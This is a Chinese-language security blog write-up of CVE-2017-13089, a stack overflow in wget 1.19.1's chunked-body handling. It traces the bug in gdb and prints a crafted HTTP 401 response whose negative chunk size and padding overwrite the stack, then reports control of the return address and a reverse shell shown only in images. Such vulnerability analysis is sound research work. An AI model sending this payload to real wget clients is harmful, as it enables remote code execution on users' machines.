‍CVE-2017-13089分析

admin 2022年7月24日23:27:02评论21 views字数 3343阅读11分8秒阅读模式

0X00漏洞描述

Wget401的情况时,会调用skip_short_body()函数

skip_short_body(),会对分块的编码进行strtol()函数调用,来读取每个块的长度

漏洞发生在没有对这个块的长度进行检查,:是否为负数,wget通过使用MIN()跳过512字节,将负数传递给fd_read(),但是fd_read接受的参数类型为INT,导致其高32位会被丢弃,进而可以控制传给fd_read()的参数

漏洞复现:

环境如下:

Ubuntu 16.04

Gdb-peda

Wget(versino:1.19.1)

 

Wget环境配置:

sudo apt-get install libneon27-gnutls-dev

在这一步时,遇到了一个小问题,安装报错了

 

‍CVE-2017-13089分析


解决办法:

cd /var/lib/dpkg
sudo mv info info.bak
sudo mkdir info
sudo apt-get update

 

获取wget,由于网站证书过期了,所以需要加入 --no-check-certificate 参数

wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz --no-check-certificate

编译完成后查看信息

 wget -V

 

‍CVE-2017-13089分析


 

版本位 无误

为了方便复现,加上本身能力有限,这里关掉堆栈保护技术

操作如下:

 

‍CVE-2017-13089分析


进行重新编译

 

‍CVE-2017-13089分析


可以开始搞事情了

0x01分析

跟到skip_short_body()

 

‍CVE-2017-13089分析


箭头所指的HTTP_STATUS_UNAUTHORIZED在一开始被定义为401

 

‍CVE-2017-13089分析


payload

由于content-type 不为warc

 

‍CVE-2017-13089分析


所以会进入下面的else分支

 

‍CVE-2017-13089分析


进一步判断keep_alive head_only然后调用skip_short-body这个问题函数

跟进一下skip_short_body函数

看看到底写了多么伟大的函数

 

‍CVE-2017-13089分析


三个参数,除了第一个是sock的描述符外,剩余的两个我并不认识(好像没啥用

 

‍CVE-2017-13089分析


先利用sock获取fd_line的指针(http相应包的指针)

Char *line = fd_read_line(fd)

然后调用strtol函数

Strtol函数的定义如下:

Long int strtol (const char * nptr ,char ** endptr ,int base);

参数base范围从236,或0。参数base代表采用的进制方式,如base值为10则采用10进制,若base值为16则采用16进制等。当base值为0时则是采用10进制做转换

但遇到如’0x’前置字符则会使用16进制做转换、遇到’0’前置字符而不是’0x’的时候会使用8进制做转换。

一开始strtol()会扫描参数nptr字符串,跳过前面的空格字符,直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时('')结束转换,并将转换数值返回。

参数endptr指向停止转换的位置,若字符串nptr的所有字符都成功转换成数字则endptr指向串结束符''。判断是否转换成功,应检查**endptr是否为''

这里strtolline变量指向的指变为整数,也就是(remaining_chunk_size)变量,然后通过MIN (remaining_chunk_size, SKIP_SIZE); 得到真正的响应体的长度 contlen

MIN 的定义,取长度小的作为 contlen 的值:

# define MIN(a,b) ((a) < (b) ? (a) : (b))

 

‍CVE-2017-13089分析

然后调用了fd_read函数将响应体的内容复制到栈中,长度即为 contlen 变量的值

这里的fd_readsock_read进行了封装

 

‍CVE-2017-13089分析

随后查看sock_read

 

‍CVE-2017-13089分析

存在栈溢出

调用了read函数

buf中读取bufsize个字节,造成了缓冲区溢出

 

0X02复现

根据分析构造payload如下

 

HTTP/1.1 401 Not Authorized

Content-Type: text/plain; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

 

-0xFFFFF000

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0

 

接下来对12333端口进行监听

A窗口

 

‍CVE-2017-13089分析

B窗口:

 

 

‍CVE-2017-13089分析

‍CVE-2017-13089分析

strtol处下断点

gdb-peda$ b *0x000000000041efaa

 

 

‍CVE-2017-13089分析

随后进入下一步

 

‍CVE-2017-13089分析

此时strtol的返回值为

0xffffffff00001000

‍CVE-2017-13089分析

继续n执行到fd_read看读入的参数

 

‍CVE-2017-13089分析

可以看到读入的第二个参数为

0x1000

与之前的

0xffffffff00001000

相比

只读入了低四位作为长度参数

在进入下一步之前

先查看0x7fffffffd190中的值

 

‍CVE-2017-13089分析

再执行下一步

‍CVE-2017-13089分析


可以看到全部覆盖为A

Continue

 

‍CVE-2017-13089分析

可以看到成功的控制了ebp,进而可以控栈上的数据然后ret进一步控制rip劫持

来计算一下偏移

 

‍CVE-2017-13089分析

0x03exp:

‍CVE-2017-13089分析

 

A窗口:

 

‍CVE-2017-13089分析

b窗口

 

‍CVE-2017-13089分析

反弹成功~

 

参考资料

  • CVE-2017-13089 Detail

  • https://github.com/r1b/CVE-2017-13089

侵权请私聊公众号删文

‍CVE-2017-13089分析

‍CVE-2017-13089分析

推荐阅读   

【入门教程】常见的Web漏洞--XSS

【入门教程】常见的Web漏洞--SQL注入

sql注入--入门到进阶

短信验证码安全常见逻辑漏洞

最全常见Web安全漏洞总结及推荐解决方案

常见的Web应用的漏洞总结(原理、危害、防御)

代码审计常见漏洞总结

Web安全漏洞的靶场演示

13 款 Linux 比较实用的工具

xss攻击、绕过最全总结

‍CVE-2017-13089分析

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

原文始发于微信公众号(编码安全研究):‍CVE-2017-13089分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月24日23:27:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ‍CVE-2017-13089分析http://cn-sec.com/archives/1190422.html

发表评论

匿名网友 填写信息